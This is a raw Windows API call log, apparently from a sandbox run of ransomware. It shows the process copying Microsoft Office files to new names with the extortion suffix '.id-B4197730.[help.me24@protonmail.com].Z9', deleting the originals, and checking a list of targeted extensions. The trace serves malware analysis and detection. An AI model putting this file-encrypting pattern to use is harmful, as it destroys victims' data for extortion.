	[0167.516] WriteFile (in: hFile=0x4b8, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.516] SetEndOfFile (hFile=0x4b8) returned 1
	[0167.556] CloseHandle (hObject=0x4b8) returned 1
	[0167.556] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.556] SetEndOfFile (hFile=0x4d0) returned 1
	[0167.605] CloseHandle (hObject=0x4d0) returned 1
	[0167.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 1
	[0167.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0167.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0167.606] lstrlenW (lpString=".doc") returned 4
	[0167.607] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.607] lstrlenW (lpString=".docx") returned 5
	[0167.607] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.607] lstrlenW (lpString=".pdf") returned 4
	[0167.607] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.607] lstrlenW (lpString=".xls") returned 4
	[0167.607] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.607] lstrlenW (lpString=".xlsx") returned 5
	[0167.607] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.607] lstrlenW (lpString=".ppt") returned 4
	[0167.607] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0167.607] lstrlenW (lpString=".zip") returned 4
	[0167.607] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.607] lstrlenW (lpString=".rar") returned 4
	[0167.607] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.607] lstrlenW (lpString=".bz2") returned 4
	[0167.607] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.607] lstrlenW (lpString=".7z") returned 3
	[0167.607] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0167.607] lstrlenW (lpString=".dbf") returned 4
	[0167.607] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0167.607] lstrlenW (lpString=".1cd") returned 4
	[0167.607] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0167.607] lstrlenW (lpString=".jpg") returned 4
	[0167.607] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0167.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0167.607] lstrlenW (lpString=".doc") returned 4
	[0167.607] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.607] lstrlenW (lpString=".docx") returned 5
	[0167.607] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.608] lstrlenW (lpString=".pdf") returned 4
	[0167.608] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.608] lstrlenW (lpString=".xls") returned 4
	[0167.608] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.608] lstrlenW (lpString=".xlsx") returned 5
	[0167.608] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.608] lstrlenW (lpString=".ppt") returned 4
	[0167.608] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0167.608] lstrlenW (lpString=".zip") returned 4
	[0167.608] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.608] lstrlenW (lpString=".rar") returned 4
	[0167.608] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.608] lstrlenW (lpString=".bz2") returned 4
	[0167.608] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.608] lstrlenW (lpString=".7z") returned 3
	[0167.608] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0167.608] lstrlenW (lpString=".dbf") returned 4
	[0167.608] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0167.608] lstrlenW (lpString=".1cd") returned 4
	[0167.608] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0167.608] lstrlenW (lpString=".jpg") returned 4
	[0167.608] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.608] lstrcmpiW (lpString1=".eftx", lpString2=".Z9") returned -1
	[0167.608] lstrlenW (lpString="Extreme Shadow.eftx") returned 19
	[0167.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0167.725] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=340217) returned 1
	[0167.725] CloseHandle (hObject=0x440) returned 1
	[0167.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 0x220
	[0167.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0168.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0168.392] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.392] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0168.393] GetLastError () returned 0x0
	[0168.393] ReadFile (in: hFile=0x440, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x530f9, lpOverlapped=0x0) returned 1
	[0168.414] WriteFile (in: hFile=0x4cc, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x53100, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x53100, lpOverlapped=0x0) returned 1
	[0168.421] ReadFile (in: hFile=0x440, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.421] WriteFile (in: hFile=0x4cc, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xfa, lpOverlapped=0x0) returned 1
	[0168.421] SetEndOfFile (hFile=0x4cc) returned 1
	[0168.421] CloseHandle (hObject=0x4cc) returned 1
	[0168.422] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.422] SetEndOfFile (hFile=0x440) returned 1
	[0168.432] CloseHandle (hObject=0x440) returned 1
	[0168.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0168.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 1
	[0168.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0168.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0168.433] lstrlenW (lpString=".doc") returned 4
	[0168.433] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.433] lstrlenW (lpString=".docx") returned 5
	[0168.433] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.433] lstrlenW (lpString=".pdf") returned 4
	[0168.433] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.433] lstrlenW (lpString=".xls") returned 4
	[0168.433] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.433] lstrlenW (lpString=".xlsx") returned 5
	[0168.433] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.433] lstrlenW (lpString=".ppt") returned 4
	[0168.433] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0168.434] lstrlenW (lpString=".zip") returned 4
	[0168.434] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.434] lstrlenW (lpString=".rar") returned 4
	[0168.434] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.434] lstrlenW (lpString=".bz2") returned 4
	[0168.434] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.434] lstrlenW (lpString=".7z") returned 3
	[0168.434] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0168.434] lstrlenW (lpString=".dbf") returned 4
	[0168.434] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0168.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0168.434] lstrlenW (lpString=".1cd") returned 4
	[0168.434] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0168.434] lstrlenW (lpString=".jpg") returned 4
	[0168.434] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0168.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0168.434] lstrlenW (lpString=".doc") returned 4
	[0168.434] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.434] lstrlenW (lpString=".docx") returned 5
	[0168.434] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.434] lstrlenW (lpString=".pdf") returned 4
	[0168.434] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.434] lstrlenW (lpString=".xls") returned 4
	[0168.434] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.434] lstrlenW (lpString=".xlsx") returned 5
	[0168.434] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.434] lstrlenW (lpString=".ppt") returned 4
	[0168.434] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0168.434] lstrlenW (lpString=".zip") returned 4
	[0168.434] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.434] lstrlenW (lpString=".rar") returned 4
	[0168.435] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.435] lstrlenW (lpString=".bz2") returned 4
	[0168.435] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.435] lstrlenW (lpString=".7z") returned 3
	[0168.435] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0168.435] lstrlenW (lpString=".dbf") returned 4
	[0168.435] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0168.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0168.435] lstrlenW (lpString=".1cd") returned 4
	[0168.435] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0168.435] lstrlenW (lpString=".jpg") returned 4
	[0168.435] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.435] lstrcmpiW (lpString1=".eftx", lpString2=".Z9") returned -1
	[0168.435] lstrlenW (lpString="Glow Edge.eftx") returned 14
	[0168.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0168.576] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=54347) returned 1
	[0168.595] CloseHandle (hObject=0x47c) returned 1
	[0168.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 0x220
	[0168.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0168.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0168.613] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.614] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8
	[0168.615] GetLastError () returned 0x0
	[0168.615] ReadFile (in: hFile=0x47c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0xd44b, lpOverlapped=0x0) returned 1
	[0168.635] WriteFile (in: hFile=0x4b8, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xd450, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xd450, lpOverlapped=0x0) returned 1
	[0168.636] ReadFile (in: hFile=0x47c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.636] WriteFile (in: hFile=0x4b8, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xf0, lpOverlapped=0x0) returned 1
	[0168.637] SetEndOfFile (hFile=0x4b8) returned 1
	[0168.637] CloseHandle (hObject=0x4b8) returned 1
	[0168.637] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.637] SetEndOfFile (hFile=0x47c) returned 1
	[0168.640] CloseHandle (hObject=0x47c) returned 1
	[0168.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0168.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 1
	[0168.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0168.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0168.642] lstrlenW (lpString=".doc") returned 4
	[0168.642] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.642] lstrlenW (lpString=".docx") returned 5
	[0168.642] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.642] lstrlenW (lpString=".pdf") returned 4
	[0168.642] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.642] lstrlenW (lpString=".xls") returned 4
	[0168.642] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.642] lstrlenW (lpString=".xlsx") returned 5
	[0168.642] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.642] lstrlenW (lpString=".ppt") returned 4
	[0168.642] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0168.642] lstrlenW (lpString=".zip") returned 4
	[0168.642] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.642] lstrlenW (lpString=".rar") returned 4
	[0168.642] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.642] lstrlenW (lpString=".bz2") returned 4
	[0168.642] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.642] lstrlenW (lpString=".7z") returned 3
	[0168.642] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0168.642] lstrlenW (lpString=".dbf") returned 4
	[0168.642] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0168.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0168.642] lstrlenW (lpString=".1cd") returned 4
	[0168.642] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0168.643] lstrlenW (lpString=".jpg") returned 4
	[0168.643] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0168.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0168.643] lstrlenW (lpString=".doc") returned 4
	[0168.643] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.643] lstrlenW (lpString=".docx") returned 5
	[0168.643] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.643] lstrlenW (lpString=".pdf") returned 4
	[0168.643] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.643] lstrlenW (lpString=".xls") returned 4
	[0168.643] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.643] lstrlenW (lpString=".xlsx") returned 5
	[0168.643] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.643] lstrlenW (lpString=".ppt") returned 4
	[0168.643] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0168.643] lstrlenW (lpString=".zip") returned 4
	[0168.643] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.643] lstrlenW (lpString=".rar") returned 4
	[0168.643] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.643] lstrlenW (lpString=".bz2") returned 4
	[0168.643] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.643] lstrlenW (lpString=".7z") returned 3
	[0168.643] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0168.643] lstrlenW (lpString=".dbf") returned 4
	[0168.643] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0168.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0168.643] lstrlenW (lpString=".1cd") returned 4
	[0168.643] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0168.643] lstrlenW (lpString=".jpg") returned 4
	[0168.643] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.644] lstrcmpiW (lpString1=".eftx", lpString2=".Z9") returned -1
	[0168.644] lstrlenW (lpString="Inset.eftx") returned 10
	[0168.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0168.645] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=44971) returned 1
	[0168.645] CloseHandle (hObject=0x47c) returned 1
	[0168.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 0x220
	[0168.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0168.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0168.646] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.646] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8
	[0168.646] GetLastError () returned 0x0
	[0168.647] ReadFile (in: hFile=0x47c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0xafab, lpOverlapped=0x0) returned 1
	[0168.652] WriteFile (in: hFile=0x4b8, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xafb0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xafb0, lpOverlapped=0x0) returned 1
